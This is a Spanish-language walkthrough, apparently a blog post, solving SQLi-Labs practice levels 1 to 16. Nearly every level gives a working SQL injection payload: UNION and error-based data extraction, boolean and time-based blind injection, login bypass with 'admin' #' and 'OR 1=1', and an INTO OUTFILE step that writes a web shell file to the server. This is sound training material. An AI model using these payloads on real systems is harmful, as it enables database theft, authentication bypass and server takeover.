Guía Técnica para la Resolución de Desafíos en SQLi-Labs: Niveles 1 al 16

Nivel 1: Inyección Basada en Caracteres (Comilla Simple)

En este escenario inicial, el objetivo es identificar cómo el servidor procesa las entradas del usuario. Al insertar una comilla simple en el parámetro, el sistema devuelve un error de sintaxis, lo que confirma la vulnerabilidad.

?id=1' -- Exploración inicial

Para determinar la estructura de la consulta, utilizamos la cláusula ORDER BY. Si el error aparece en el número 4, significa que la tabla tiene 3 columnas.

?id=1' ORDER BY 3 -- -

Para extraer información, forzamos un error en la primera parte de la consulta y usamos UNION para visualizar datos de la base de datos:

?id=-1' UNION SELECT 1, DATABASE(), VERSION() -- -

A partir de aquí, se puede listar el esquema de tablas filtrando por el nombre de la base de datos obtenida (security):

?id=-1' UNION SELECT 1, 2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security' -- -

Nivel 2: Inyección de Tipo Numérico

A diferencia del nivel anterior, aquí no se requieren comillas para romper la lógica de la consulta SQL. El motor de base de datos trata el parámetro directamente como un entero.

?id=1 AND 1=2 UNION SELECT 1, 2, 3 -- -

El proceso de enumeración de columnas, tablas y datos sigue la misma lógica que el Nivel 1, pero eliminando las delimitaciones de caracteres en el payload.

Nivel 3: Inyección con Cierrre de Paréntesis

El servidor envuelve la entrada en una estructura de tipo ('id'). Por lo tanto, debemos cerrar tanto la comilla como el paréntesis para inyectar comandos exitosamente.

?id=1') AND 1=2 UNION SELECT 1, USER(), 3 -- -

Nivel 4: Inyección Basada en Comillas Dobles

En este caso, el delimitador utilizado es la comilla doble junto con paréntesis ("id"). Ajustamos el payload de la siguiente manera:

?id=1") UNION SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' -- -

Nivel 5: Inyección Basada en Errores (Double Query)

Cuando la página no muestra resultados de la consulta en pantalla pero sí errores de SQL, se utiliza la técnica de inyección basada en errores. Empleamos funciones como EXTRACTVALUE o UPDATEXML para forzar que el dato deseado aparezca dentro del mensaje de error.

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y) -- -

O utilizando un método más moderno:

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER())), 1) -- -

Nivel 6: Errores con Comillas Dobles

Similar al nivel anterior, pero el vector de entrada se activa con comillas dobles ("). La lógica de extracción mediante EXTRACTVALUE permanece constante.

?id=1" AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version))) -- -

Nivel 7: Exportación de Archivos (Outfile)

Este nivel requiere que el usuario de la base de datos tenga privilegios de escritura (FILE privilege). La vulnerabilidad se explota cerrando la estructura con ')) y volcando el contenido a un archivo en el servidor.

?id=1')) UNION SELECT 1, 2, 'payload_shell' INTO OUTFILE '/var/www/html/shell.php' -- -

Nivel 8: Inyección Booleana a Ciegas

Aquí el servidor no devuelve errores ni datos, solo una respuesta binaria (éxito o fracaso). Debemos realizar preguntas de verdadero/falso al sistema.

?id=1' AND (ASCII(SUBSTRING((SELECT DATABASE()),1,1)) > 100) -- -

Si la página carga correctamente, sabemos que el primer carácter de la base de datos tiene un valor ASCII superior a 100.

Niveles 9 y 10: Inyección Basada en Tiempo

Cuando la respuesta HTTP es idéntica sin importar si la consulta es verdadera o falsa, recurrimos a funciones de retardo como SLEEP().

?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0) -- -

Si el servidor tarda 5 segundos en responder, se confirma que la longitud del nombre de la base de datos es 8.

Niveles 11 al 14: Inyecciones en Formularios POST

El vector de ataque se traslada de la URL a los parámetros del cuerpo HTTP (usualmente campos de login). En estos casos, se suele utilizar el carácter # para comentar el resto de la consulta en lugar de -- -.

Nivel 11: Basado en comilla simple en el campo uname.

admin' #

Nivel 12: Basado en comillas dobles y paréntesis.

admin") OR 1=1 #

Nivel 14: Inyección basada en errores sobre campo de texto con comillas dobles.

" OR EXTRACTVALUE(1, CONCAT(0x7e, DATABASE())) #

Niveles 15 y 16: Blind SQLi en POST

Se aplican técnicas booleanas o de tiempo dentro de los parámetros POST. No hay mensajes de error que guíen el proceso.

' OR IF(1=1, SLEEP(5), 0) #

Etiquetas: sql-injection sqli-labs ciberseguridad MySQL pentesting-web

Publicado el 8-25 07:36